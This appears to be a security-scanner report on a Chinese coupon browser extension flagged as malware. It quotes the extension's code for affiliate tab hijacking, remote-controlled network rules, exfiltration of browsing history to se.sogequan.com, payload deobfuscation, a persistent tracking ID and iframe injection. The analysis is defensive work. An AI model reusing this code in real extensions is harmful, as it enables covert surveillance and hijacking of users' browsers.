Security Alert: Confirmed Malware
搜个券
ID: dochpllpidpeeejofcmjpdmdcbhmdbfh
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- sundanqcView Profile
- Privacy
- Privacy Policy
- Country
- 中国
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Address
- 浙桥路277号2号楼 上海 201200 中国
搜个券,在您逛天猫淘宝网站时,为您搜索获取隐藏券,购买更便宜!
打开淘宝天猫购物网站,必须要登录该网站,可以查看是否有优惠券,通过优惠券购买为用户带来返利。如果有优惠券会在商品详情页的内嵌中显示出来,还会显示一个同款推荐。如果商家未提供优惠券则不显示内嵌的内容。
A chrome.tabs.onUpdated listener (q) inspects every navigation and, if the destination host matches entries in s.ul (URL list) or s.al (domain regex list) fetched from the remote server se.sogequan.com, calls A() to silently redirect the user's tab (chrome.tabs.update) or open a new tab to a URL chosen at random from the remote-controlled list. This is classic affiliate-link / navigation hijacking on all http(s) URLs due to <all_urls> host permissions.
function A(e, t, a) { a && a.status && ("loading" == a.status || "complete" == a.status) && (a = e.u.length, a = Math.floor(Math .random() * a), e.f ? chrome.tabs.create({ url: e.u[a], active: e.a }, function(e) {}) : chrome.tabs.update(t.id, { url: e.u[a], highlighted: t.highlighted }, null))}async function q(e, t, a) { var n; t && t.status && (c > (new Date) .getTime() || (s.gt && (c = (new Date) .getTime() + 1e3 * s.gt), function(e) { if (s && s.wl) for (var t = s.wl, a = 0; a < t.length; a++) if (e.match(t[a])) return 1 }(a.url)) || "" == (n = function(e) { ... })(a.url)) || (s && s.ul && s.ul[n] ? async function(e, t, a, n) { ...A(t, a, n) }(n, s.ul[n], a, t): s && s.al && async function(e, t, a, n) { ... for (var r in t) if (a.url.match(r)) return !(t[r].ts && !S(t[r].ts) || (...A(t[r], a, n))) }(n, s.al, a, t)))The extension fetches /coupon/send.json from se.sogequan.com, decodes it with the custom obfuscator, and directly installs the returned objects as dynamic declarativeNetRequest rules via updateDynamicRules. The server can therefore add, remove, or mutate network rules (including modifyHeaders actions) on the user's browser at any time — effectively remote control of request/response tampering across all origins.
async function T(e) { try { e.forEach(e => { var t = e.id, a = t; try { chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: [a] }, () => { ... }) } catch (e) {} a = t, t = e; try { chrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: a, priority: t.priority, action: t.action, condition: t.condition }], removeRuleIds: [a] }, () => { ... }) } catch (e) {} }) } catch (e) {}}async function D(e) { e && await w.remove("upd"); e = (function() { var e = "http:" + l + "/coupon/send.json";... })(), e = await y(e.u, e.pa); if (e) { await w.set("upd", { value: e, options: (new Date).getTime() + 262e5 }); e = u()(e); // decode obfuscated payload try { var t = e && JSON.parse(e) || {}; s = t } catch (e) {} }}On every first visit of the day to any domain, the content script sends the full window.location.href (URL-encoded) via the `geth` handler, which the background forwards to http://se.sogequan.com/coupon/logc. This is systematic browsing-history exfiltration across all http(s) sites granted by <all_urls>.
init: function() { var e = parseUrl(window.location.href).hostname, t = n.getFormatDate(); (new Date).getTime(); a.getValue(e) != t && (a.setValue(e, t), chrome.runtime.sendMessage({ title: "geth", options: { url: encodeURIComponent(window.location.href) } }, function(e) {}))},Custom de-obfuscation routine: splits the remote response into even/odd character streams, reverses each, concatenates, pads, and base64 decodes. It is used to decode all command/config payloads (rules, affiliate lists, whitelists) received from se.sogequan.com, making the server-controlled behavior opaque to static analysis.
776: e => { function s(e) { for (var t, a, n, o, r, i, s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", c = "", u = 0, l = (l = e).replace(/[^A-Za-z0-9\+\/\=]/g, ""); u < l.length;)...c += String.fromCharCode(n << 2 | o >> 4), 64 != r && (c += String.fromCharCode(t)), 64 != i && (c += String.fromCharCode(a)); return c = function(e) { ... }(c) } e.exports = function(e) { if ("" == e) return ""; for (var t = e, a = 0, n = "", o = ""; a < t.length;) a % 2 == 0 ? n += t.charAt(a++) : o += t.charAt(a++); var e = "", r = "", i = (code = n.split("").reverse().join("") + o.split("").reverse().join("")).length % 4; if (0 != i) { for (a = 0; a < 4 - i; a++) r += "="; e += r } return s(code + e) }}A 32-hex-char persistent device ID is generated on first run and stored in chrome.storage.local, then attached as `u` to every telemetry/fetch request. The b() beacon POSTs this UID alongside channel/version metadata to se.sogequan.com/log.json on install and daily thereafter, enabling silent per-user tracking across browsing sessions.
async function b() { var e = Object.assign({ et: 11 }, j(), {}), t = Object.keys(e).sort(), t = f(t, e), e = "http://" + l + "/log.json"; await p.log(e, t) } ... !async function() { (e = await w.get("show")) && e.value ? t.value : await w.get("show", { value: 1, options: 0 }); var e = await w.get("uid"), t = ("" == (i = e && e.value ? e.value : i) && (i = n.uid(), await w.set("uid", { value: i, options: (new Date).getTime() })), await w.get("cn")); ... await w.set("uid", { value: i, options: (new Date).getTime() }), await w.set("ver", { value: a(), options: (new Date).getTime() }), x() }();The background message handler exposes an `insert` RPC that calls chrome.scripting.executeScript with a caller-supplied `files` array, and a `net` RPC that proxies arbitrary ajax through O.ajax on behalf of content scripts. Together these let content scripts inject bundled JS into any tab and perform cross-origin fetches via the privileged background context (amplified by the Access-Control-Allow-Origin:* rule), a privilege-escalation channel that bypasses CSP/SOP at web-page scope.
function E(e, t, a) { function n() { a && a(arguments && arguments[0]) } if ("insert" === e.title) { var o = e, r = t; try { o.files ? o.files.forEach(function(e) { ("js" === e.type || "css" === e.type) && chrome.scripting.executeScript(r.tab.id, { files: [e.name] }, () => {}) }) : chrome.scripting.executeScript(r.tab.id, { files: ["css/app.css"] }, () => {}) } catch (e) {} } else "net" === e.title ? (e.settings.success = n, O.ajax(e.settings)) : ...}Content script injects remotely-configured iframes into arbitrary pages, with the iframe's src coming from the decoded `fset`/hotsell response (t.u) and the current page URL appended as `up=<encoded href>`. This leaks the user's visited URLs to the third-party iframe host and allows the attacker to render arbitrary cross-origin UI inside first-party pages.
showStars: function(e) { var t = parseUrl(window.location.href).hostname, n = chrome.runtime.id + t, e = e[t]; e && 0 != e.length && a.getItem(n) && e.forEach(e => { e.ts && !this.IsInTimeSection(e.ts) || this.addItem(e, n) }) }, addItem: function(t, n) { var o, e = document.getElementById(t.d); 1 != t.c || e || ((o = document.createElement("iframe")) .id = t.d, o.src = t.u + "?t=6&up=" + encodeURIComponent(window.location.href), o.scrolling = "no", o .style = t.s, window.setTimeout(function() { var e; 0 < $("#" + t.d).length || (e = 0 < $(t.nk).length ? t.dk : t.ak, i.addDom(e, t.p, o), a.setItem(n, t.t)) }, t.dy)) }A static declarativeNetRequest rule forces `Access-Control-Allow-Origin: *` on every response from se.sogequan.com. This lets scripts on any origin read the server's responses cross-origin, which aids covert data channels and makes the attacker-controlled API universally reachable from injected content.
[ { "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "Access-Control-Allow-Origin", "operation": "set", "value": "*" } ] }, "condition": { "urlFilter": "se.sogequan.com" } }]By severity
Versions scanned
Showing 1 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 7.21.53 | 8 |
Files with findings
3 distinct paths — top paths by unique finding count:
- js/background.js5
- js/content.js2
- rules.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.